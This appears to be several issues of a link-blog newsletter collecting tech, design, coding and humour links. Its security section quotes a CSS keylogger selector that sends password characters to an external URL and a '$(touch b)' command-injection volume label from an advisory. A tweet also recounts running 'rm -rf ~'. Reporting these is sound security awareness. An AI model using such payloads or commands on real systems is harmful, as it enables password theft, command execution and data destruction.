Published on


Real life charts Creatively made with real life objects.

Design Objective

7 Practical Tips for Cheating at Design "Improving your designs with tactics instead of talent." 🤔


Designing Farrago Rogue Amoeba's new soundboard app, with its unique UI metaphor.


Introducing C.A.R.E. – a simple framework for user onboarding Convert. Activate. Retain. Expand.

An analysis of the interactions on iOS 11 TL;DR the gestures on the iPhone aren't all that intuitive, the gestures on the iPad aren't all that intuitive either, and to add to the confusion, iPhone and iPad use different gestures. Yeah.


@xarph "The Apple Park Visitor's Center is a demonstration of an accessible building when cost is no object." Thread.

Malboury Jones "We moved into new offices, but this wall has been left open for a few weeks now. I knew what I had to do."


Tools of the Trade

Propel "Machine learning for Javascript." Cool. Based on TensorFlow, and uses OpenGL to access the GPU when running on the server, or in the browser.

Protowire Protowire looks pretty cool: prototype directly in Sketch, with UI animations, screen transitions, and responsive design.

zricethezav/gitleaks Searches the full Git repository history for secrets and keys.

Pandora.js Bills itself as a "Manageable, Measurable and Traceable Node.js Application Manager."


Evolving Patterns in React Some of the patterns that are emerging in the React ecosystem, like conditional rendering, destructing props, HOC, and render functions.

cloudmapper Create network diagrams of your AWS environment.


Adrian Cole ⭐️⭐️⭐️⭐️⭐️

If you use a #github project from volunteers and like it: star it, send a message or a issue comment like "keep it up!"

Volunteers often maintain things they dont even use anymore. Can you imagine "couch vs your issue" and choosing to help?

Clicking star is an easy thanks #oss

Jamon Holmgren 😱

I can see it all in hindsight like a train wreck.

  1. I accidentally created a folder named ~
  2. I thought, I don't want that
  3. I ran rm -rf ~
  4. I saw "rm /Users/jh/Music" 🤨 🙁 ☹️ 😨 😱
  5. Ctrl+C Ctrl+C Ctrl+C Ctrl+CCCCCCCCCC

@chrisrodley "Full context for that 1950s computer with a speed of '10,000 girls' and a max. RAM of '2,000 facts'"



davidkpiano/flipping Easy FLIP animations to spice up your UI. Make animations as cool as this.


Stunning hover effects with CSS variables So this is a cool trick: you can set a CSS property with JavaScript, and create dynamic styles, like'--x',${ x }px).


Variable Order I didn't know CSS variables can do that either: dynamically sorting a table using CSS variables, no DOM changes. (Pretty cool, but not accessible in current browsers)

killall -9 khaxan "When you're an architect but you're also learning CSS"


Lines of Code

Chris Oldwood 😢

So, a "DateTimeProvider", that's basically just a clock, right?

Dee Nadzree "what people think programming is vs. how it actually is"


Dan North 💡

The way I’ve been describing it is:

  1. The goal of the system is rapid and sustainable flow of value.
  2. Delivery teams should understand value and obsess about flow.
  3. Product managers should understand flow and obsess about value.

Locked Doors

LA Times serving cryptocurrency mining script The gist of this story is how many sites serve content from a world-writable S3 bucket. World. Writable. Not that I'm surprised, AWS configuration is confusing, the UIs are horrible, making it difficult to secure.

Money Laundering Via Author Impersonation on Amazon? TL;DR publish a book that's all computer-generated gibberish, slap a $555 price tag, and purchase copies with stolen credit cards. Also, scammers posting fake Amazon support phone numbers in Amazon's customer help forums. But then, good luck finding the real Amazon support phone number when you need it.

GitHub Survived the Biggest DDoS Attack Ever Recorded Batten down you memcache hosts:

About 100,000 memcached servers, mostly owned by businesses and other institutions, currently sit exposed online with no authentication protection, meaning an attacker can access them, and send them a special command packet that the server will respond to with a much larger reply.

Megan "I must ask you refrain from using hacker characters when engaging with my content."



Money Stuff Sounds about right:

And then Bitcoin came along, and paranoid computer-literate people who spent a lot of time on the internet were the early adopters, and it became the world's first economic system that allocates wealth basically for hanging around on Reddit.

Money Stuff Also, just generally good advise for anyone on the internet:

I know you are going to email me to complain about this theory, but what I want to propose here is: What if you didn't?

None of the Above

(((David Bennun))) 🤨

Every so often a headline appears that has the paradoxical twin effect of making me feel better about my own life yet worried that I'm just not making the most of it.


Rebecca Caprara 😭

2yo referred to her coat pockets as "snack holes" and this is what I shall forever call them

Fluff Society "Me jumping into bed after getting home from work."

Grant Tanaka 🏃‍♀️

brain: let's talk shall we
me: ok
brain: are we being chased
me: no
brain: are we chasing something
me: no
brain: so wtf are we doing then
heart & lungs: we also have questions

TimOfLegend "People often overlook one of the most thought-out, thorough, and effective features of the Aeron chair. It took a lot of money and engineers to figure this out people! Give them credit."


jarrett TIL:

tic tacs are almost pure sugar but get away with calling themselves sugar free because united states regulations says it has to have less than a gram of sugar to be sugar free and tic tacs are less than a gram.

Fluff Society "You'll get him one day"

Mens Fashion Infographics Handy reference.


William Vambenepe 😭

Machine Learning Crash Course

The first step towards building self-driving cars is to take a crash course...

Peter Cooper "The most mind-boggling optical illusion I've seen in a while. Those horizontal bars really are parallel."


Published on


Lulu Cheng "I got 99 tabs but I generally know where things are"

Design Objective

Jules Forrest Brilliant. "Visual design crash course in roughly twenty seconds."

5 Rules for Designer-Engineer Collaboration Helping designers and engineers work together.



Design’s Lost Generation Argues that "Amateur hour is over", the design profession needs to follow in the steps of other accredicated professions (legal, medical, etc), with certification and oversight.

Daniel Eden 🥁

What Making Bread Has Taught Me About Design Systems:

Nothing. Sometimes it’s nice just to have a hobby.

Tools of the Trade

Visual Studio Code Can Do That? Thinking of giving VS a try? Check this page for tips.


Haiku Cool Mac app for creating animations: draw in Sketch, orchestrate in Haiku, export to React/Vue/vanilla.


Blotter JavaScript library for drawing unconventional text effects.

Luke Wroblewski "25 years 631,151,900% improvement"



Snake highlight This is a cool use of SVG line animations.

Animated SVG Avatar Related, SVG animated login avatar, with the help of some trigonometry & GSAP.

Lines of Code

Tim Ottinger 💯

An upsetting realization: one day I realized that productivity is code quality.
If you can develop safely and fluidly and quickly, the code is good.
If it resists you, then it is of lower quality.
We need more productive code.


Owen "Me editing code directly on the server"

Electric Dreams

nvidia/fastphotostyle This algorithm can transfer the style of one photo to another photo, creating a stylized output photo and wow.



Phishing for Phools Why social media manipulation is today's greatest phishing scam.

Inside the Two Years That Shook Facebook—and the World "You can’t make the world more open and connected if you’re breaking it apart."

dan hon 🍳🥂

Omg who wants to join my ethical tech movement that meets in the morning called:


Locked Doors

maxchehab/CSS-Keylogging Keylogger uses CSS attribute selectors to request resources from an external server under the disguise of loading a background image. Seems to work against React controlled components:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");

None of the Above

Rhett Allain "This is a cool t-shirt"


Casey Newton Words of wisdom:

The best gift you can get anyone in their 30s is to cancel a meeting they’ve been asked to attend. You will never forget the look of joy in their eyes

Stephanie Hurlburt Looking for a job? If you're going to post to Twitter, check out these tips to make sure your tweet gets noticed.

The Grammar of Online Reviews Interesting correlation:


According to our data, negative reviews have a higher rate of misspelled words and a higher rate of incorrectly used apostrophes. They tend to be longer and have more details as well. Five-star reviews typically are shorter and often don’t include punctuation. Across the board, reviewers make a lot of spelling and grammar mistakes – only 61% of reviews passed all our quality checks.

Oxford Comma Dispute Is Settled as Maine Drivers Get $5 Million Putting a value behind clear writing:

the First Circuit ruled that the missing comma created enough uncertainty to side with the drivers, granting those who love the Oxford comma a chance to run a victory lap across the internet.

Underdog Liz Swaney from Oakland is talk of Olympics after her modest skiing in halfpipe I don't follow sports, so this was the highlight for me: a mediocre skier out-smarts Olympic rules, and even though she came last, she got to participate in the Winter Olympics!

Philip Larkin 😹

Just spotted a cat on someone's porch, miaowing to be let in. Without thinking, I walked up to the door, rang the bell, nodded to the cat and left. It was only I rounded the corner I realised what I'd done as I heard the owner shouting FUCK ME SARAH THE CAT JUST RANG THE DOORBELL

AeroDork "Ever wonder what happens when you yank the pull cord on an aircraft emergency slide? Wonder no more."

Published on


hegemony snickett "...I think about how good this poem is at least twice a day."

Design Objective

meg "So here’s a thing I still have to remind myself basically every time I make an icon"


Matt Adereth Pro tip:

Radia Perlman told the perfect story about how engineers come up with solutions before understanding the problem:

"When my son was 3, he came to me crying 'my hand! my hand!'

I started kissing it. mwah mwah mwah 'Tell me what happened...'

'I got pee on it.'"

Scott Kerr "SPACE INVADERS (1978) concept art by its creator, Toshihiro Nishikado"


Tools of the Trade

Michael Feathers That would be a good default setting:

I wonder whether the path forward is to have git randomly reject commits with the polite message: “please think more about this.”

TablePlus Native Mac app for querying relational databases. Upcoming plugin for Redis.


automerge An implementation of CRDT for JSON-like data structures: automatically merge changes made concurrently by different users (also great for apps that run offline).

Davide Ciacco "I made a simple "evaporating" shader!"

Tet "Tet is a dumb thing that deletes all your tasks at the end of the day." Goldfish todo list.

Repairing the card reader for a 1960s mainframe: cams, relays and a clutch Throwback to when computers were mostly mechanical devices.



💘chriseppstein This:

Reminder that the olds in web development will always think it’s bad that you don’t know the things they had to learn and consider important.

Your path can be different. Build cool things and you’ll learn how they work along the way as it becomes relevant. 🤙

Amelia Bellamy-Royds Yes:

I want to live in the world where this is the real reason for web browser's convoluted user-agent strings.

“Dearest server, I am Chrome, the 64th of that name, child of WebKit, grandchild of KHTML, a disciple of Gecko, follower of the great Mozilla/5.0, running on Windows NT 10”

Lines of Code

Pablo Antonio Taking the opportunity to post this again, so important:

The Four Rules of Simple Design (in order of importance):

  1. Passes the tests
  2. Reveals intention
  3. No duplication
  4. Fewest elements
    And, yes, "fewest elements" is last, which means you only minimize classes and methods if everything else satisfied

tony hawk's pro skater 3 When you have a bug in the code, but that’s ok because it masks another, more sinister bug.


“Guys, we’re doing pagination wrong…” Using cursors to avoid leaky abstractions in pagination.


Steven Sinofsky Fantastic thread about software development, constraints, and the long view:

38/ Big projects, well-run are going to look across all systems and a long-term POV and develop a portfolio of what to do where/when. That’s how you get something like a new file system years in making to show. Or killer FaceID. Or all of a sudden have tons of cloud features.

Steven Sinofsky Also from the same thread:

39/ Ultimately at MS used to have Conversation 37:
• Eng wants to do nothing but fix code // BUG BUG
• Sales wants new product every year w/new quotas
• Press would like a new thing each month
• Techies —revisit core UI, add options on demand
• IT—no change, ever :-)

Phil Calçado Somewhere, someone must be doing this:

Someone just told me about a project that "goes beyond monorepos and squashes everything into a monocommit" and I can't even tell if they're joking...


Developers On Call More ideas on how to manage on-call rotations without burn out.

Erik Haddad "I don't see anything about this in the manual ✈️#ua1175"



Your Cortex Contains 17 Billion Computers TIL Each pyramidal neuron is a two layer neural network. All by itself.


Nick Stenning My view as well:

Flat organisational structures do not exist. There are only organisations with visible structure and organisations with invisible structure.

Locked Doors

CryptoAUSTRALIA "Top tier social engineering"


Mac Privacy: Sandboxed Mac apps can record your screen at any time without you knowing TL;DR Any Mac app can take screenshots of your Mac silently, and use basic OCR software to read all text on the screen.

Plasma Desktop: Arbitrary command execution in the removable device notifier USB thumb drive naming vulnerability:

When a vfat thumbdrive which contains `` or $() in its volume label is plugged and mounted trough the device notifier, it's interpreted as a shell command, leaving a possibility of arbitrary commands execution. an example of offending volume label is "$(touch b)" which will create a file called b in the home folder.

Mark Burnett "cat in the middle" (via):

I caught my cat running out of my office with my yubikey in his mouth--a threat model I hadn't considered.

@helenvholmes "Yes, let's"



Tech’s Ethical ‘Dark Side’: Harvard, Stanford and Others Want to Address It Ethic classes should be part of Computer Science curriculum:

We need to at least teach people that there’s a dark side to the idea that you should move fast and break things,

John Hamill "What could possibly go wrong, Scronfinkle?"

None of the Above

Paul Bronks "And I looked, and behold, a pale horse. And its rider’s name was Death."


cheinsaw 😭

black cats are wonderful because you can stare into the void and not only does the void stare back, sometimes it trots up to you happily and begs for pats

the void is loud and wants chicken

Ellen Huet 😭

opportunity: two of your housemates take a trip

battle plan: rest of house bands together to convert their bedroom into an error-filled anthropological exhibit from the future


The White Darkness A solitary journey across Antarctica. Captivating, long read.

HUMOROUS ANIMALS "When your cat has a pet of its own"

Published on


shley Mayer "We were promised flying cars, we got...a valuable lesson in the importance of specificity. 💁"

Design Objective

Laws of UX The core laws of UX, beautifully illustrated.


How to improve your design process with copy docs How does your team manage copy?

A copy doc is a one-stop “source of truth” for all the copy in a project. There’s no single way to create or use one, but here are some basics to help you get started.

Make me think! Much of software design focuses on hiding technological complexity. But how can we use it successfully, when we don't understand the technology? This article asks the question: "Should the technology grow — or the person using it?"


Two Very Different Kinds of Illustration Takes a hard look at the "monocultural aesthetic" that's common across startups:

In my experience, the vast majority of them are quite similar in their aesthetic: the colors range from primary to bright pastels; the figures are cleanly drawn and almost always rendered with vectors; the details are highly abstracted and shading is geometric if it appears at all; the compositions are generally minimal and only occasionally feature very limited background elements.

Customer Satisfaction at the Push of a Button The story behind HappyOrNot and their smiley face displays:

if you make it easy, people will give feedback every day, even if you don’t give them a prize for doing it


Tools of the Trade

Productive Debugging Some tips to make your debugging sessions more productive. My favorite:

Some days you get the bug, other days the bug gets you.

CityLosAngeles-Jobs This job post is funny, as are the responses in this Twitter thread.



What’s New in HTML 5.2? HTML is still evolving. We're getting a new <dialog> element, and payment API support for 3rd party embeds (Stripe, Paystack, etc).

React’s ⚛️ new Context API Now a first-class API, using render props.

Declining Complexity in CSS Argues that as the CSS spec adds new features, the spec becomes more complex, but overall make our lives easier. Eventually, we would all use CSS Grid and not have to worry about float hacks. Meanwhile, though:


Lingua Scripta

JavaScript: Can (a==1 && a==2 && a==3) ever evaluate to true? Yes. Because everything is an object.

Lines of Code

Hillel 🤔

You've probably seen a bunch of rants on why "do thing with linked list" is a terrible interview question. I'd like to explain why "do thing with linked list" is an interview question in the first place. Buckle up everyone, it's time for some g̶a̶m̶e̶ ̶t̶h̶e̶o̶r̶y̶ HISTORY!


Let a 1,000 flowers bloom. Then rip 999 of them out by the roots. Long but quick read, about the history and purpose of Twitter's Engineering Effectiveness group.

Let’s talk about usernames You'd think username is just a field in the database, how complicated would it get? But how you implement identity has implications on security and privacy. For example:

Well, it’s easy until we start thinking about case. If you’re registered as john_doe, what happens if I register as JOHN_DOE? It’s a different username, but could I cause people to think I’m you? Could I get people to accept friend requests or share sensitive information with me because they don’t realize case matters to a computer?



Cindy Sridharan Being on-call is not a reward, but also doesn't have to be a punishing experience. I agree with the premise of this thread — engineering managers can do a lot to make the on-call experience better:

Unpopular opinion but someone needs to say it and I’m going to be that person today:

If the idea of being “on-call” sucks to you, it means you’re responding negatively to a symptom

The cause is more systemic and more a reflection of the team/org’s basic engineering prowess

Daniel Westermann-Clark For example, start by measuring:

My team tracks life impact as a metric (pages outside business hours) and works to drive that down to zero.


Jani Eväkallio 😢

At a bank trying to prove my address:
CLERK: "We have a discrepancy here... Your name here is Jani Eväkallio but this proof of address says Evakallio without the dots. Can you explain that?"
ME: "How much do you know about Unicode?"

I don't think I'm getting a bank account today

Binyamin Appelbaum "Sad photo of Wall Street traders reacting as stock market plunges."


Locked Doors

Mixpanel JS library has been harvesting passwords Not intentional, MixPanel is not a bad actor here. But another lesson in how every dependency decreases security:

We immediately began investigating further and learned that the behavior the customer was observing was due to a change to the React JavaScript library made in March 2017. This change placed copies of the values of hidden and password fields into the input elements’ attributes, which Autotrack then inadvertently received.

matt blaze Your periodic public service announcement:

Remember: even the worst password manager will make you more secure in practice than using the same password on multiple sites (which is what people without password managers inevitably do).

None of the Above

Emergency Kittens "You seeing this?!"

Limiting Your Child's Fire Time: A Guide for Concerned Paleolithic Parents "As with everything in life, balance is key."

fossils from the early Device Age 🔥


Martin Bryant I do!

That's me in the corner
That's me in the spotlight
Deleting UTMs from URLs before I share them.

(I can't be the only one who does this)

Winamp2-js This needs no explanation.


Is the Placebo Powerless? Interesting fact that recently came to my attention: when we test new medicine and find out it's no better than placebo, do we conclude the medicine (made by scientists!) is ineffective, or do we attribute therapeutic benefits to placebo? Well, surprise:

We found little evidence in general that placebos had powerful clinical effects. … Outside the setting of clinical trials, there is no justification for the use of placebos.

Imaging Without Lenses Fascinating look at new imaging systems, microscopes, and sensors, that rely on algorithms instead of lens.


This is how the world’s most covetable cameras get made Verge takes us on a trip to Hasselblad.


folu 2~3 days with 0 decisions:

types of vacations I need

  • a week to deep clean everything I own, twice
  • a week to just sleep, then sleep some more
  • a week where I don't speak to anyone
  • a week where I can cook constantly and never have to clean up
  • 2-3 days where I don't have to make any decisions

The blue marble Wow.

Published on


From the amazing Miniature Calendar.

Design Objective

Dave Malouf 🤔

This notion that "it's all just a guess until we ship to production" flies in the face of decades of research in HCI, psych, etc.

The point isn't knowing for sure, but increasing confidence as investment increases.

Deciding to ignore those opportunities to learn is reckless.

We Need Fewer Product Managers Great products are a team effort:

We need MORE internal startup co-founders, UX, customer advocates, domain experts, service designers, complexity untanglers, researchers, and reliable ways to interact directly with users/customers. We need more product thinking, and less product managing.

Cory Doctorow Dark patterns:

This mobile ad designed to make it look like you have a speck of dirt on your phone, making you tap on it.


Tools of the Trade

Observable Wow. Notebook for JavaScript, with Markdown, async/await, D3 visualization, the works. Check out the five minute introduction.


johnlindquist So useful:

@ChromeDevTools has a copy method in the console. copy(myObj) will copy the entire myObj as json to the clipboard. 🤯

kap An open-source screen recorder built with web technology, just released 2.0.


Hans Peter Luhn and the Birth of the Hashing Algorithm "In early 1953, Luhn had written an internal IBM memo in which he suggested putting information into “buckets” in order to speed up a search."

esimov/caire A content-aware image resize library, using Seam Carving, which is a pretty interesting algorithm (Wikipedia explains it quite succinctly).


Vince Knight :w

Is your child texting whilst using vim?

rofl - replace current char with o and find l
brb - replace 1st char of previous word with a b
lmao - move a bit then edit next line
imo - type mo
nvm - go in to visual mode
wtf - move to next word


Jaiden Mispy Take this advice seriously:

Advice for starting web projects: think very carefully about url structure. You can change everything else later, but once someone shares a link you must support that indefinitely

XSS via a spoofed React element Watch out for this JSON-based vulnerability, not just with React:

I'd demonstrated to myself that I could cause e to have any JSON value I wanted … so it was no trick to make it into an object that had a key _isReactElement set to true … which would seem to tell the client that the object I'd created was a "valid element".

Scott Jehl 😢

Bad news web nerds. Punxsapolyfill saw its shadow DOM today so it looks like we’re going to have 2-3 more seconds of blank screen until this page renders.

Lines of Code

Hillel Forget about static vs dynamic typing. Code quality comes out of code review, checklists, documentation, planning ahead, sleep, etc.

To start with, this little trick will do wonders to your code quality:

Self review: before you submit code for code review, take a ten minute break then print out the code and review it yourself. This can find up to half the errors that others would find, and it's super efficient to boot!

Brandon Hays 😭

Developers are funny about language. We say "orthogonal" instead of "unrelated", "conflate" instead of "combine", and "algorithm" instead of "200 lines of shitty nested if statements".

Alejandro Oviedo git commit -m "look, I'm not proud of it but it works"



Using Postmortems to Understand Service Reliability Five questions for a postmortem, none of which are "Why?"

Alex Lambert The NIH lock-in:

so, you avoid vendor lock-in by building your own. and then later realize you still have vendor lock-in, but you're the vendor, and there are no other customers. oops.

Abiola Ibrahim 👍

If the error message is different, you have made progress.


John Le Drew 💯

Let's just stop referring to interpersonal skills as "soft" skills. They are both hard work and essential. They are the bricks and mortar supporting your team and the fuel and keeps it alive.

Electric Dreams

Teaching Alexa when not to respond How does Amazon prevent Alexa from responding to TV ads.

'Fiction is outperforming reality': how YouTube's algorithm distorts truth YouTube calls it the "largest scale and most sophisticated industrial recommendation systems in existence." But without human supervision, this is what we get:

The algorithm has been found to be promoting conspiracy theories about the Las Vegas mass shooting and incentivising, through recommendations, a thriving subculture that targets children with disturbing content such as cartoons in which the British children’s character Peppa Pig eats her father or drinks bleach.

Locked Doors

Bob Johnston "Security"



Shira Ovide A judge in a tech trial coaching jurors on Facebook privacy settings is possibly the most 2018 thing ever:

Judge Alsup in Waymo-Uber case tells jurors that they may want to change Facebook privacy settings because press might try to figure out who they are. In doing so, he delivers this classic line -- "There is something called friends of friends"

The Banana Trick and Other Acts of Self-Checkout Thievery How self-checkout lines are dealing with “external shrinkage”:

Perhaps it’s not surprising that some people steal from machines more readily than from human cashiers.

Presentation: A Young Profession Coping With Ethical Debt "Ethical debt".

None of the Above

Stone Cold "Just my luck, 250 million year old salt and it expires next year."


"Ian" Abramson 🐻

When you compare the size of a gummy worm versus a gummy bear, it starts to paint a horrific picture of the gummy universe.

Molly Telford 😭

Today's lesson about asking the right question to get meaningful data, brought to you by a 4 year old:

Me: Should I put a banana in your lunch today?
Him: Sure! They are healthy & I'm supposed to bring healthy food.
Me: Will you eat it?
Him: Definitely not. I don't like bananas.

Scott Hanselman "I’d rate it 'no way I’m touching this touchscreen you filthy animals.'"


BryceElder Bitcoin, a non-explainer:

Bitcoin is a decentralised currency that is backed by energy that is harvested from traffic on the world wide web, or internet.

Kelly Vaughn 🤣

Roses are red
Violets are blue
Unexpected '{' on line 32

Martin O'Leary "Languages are bananas"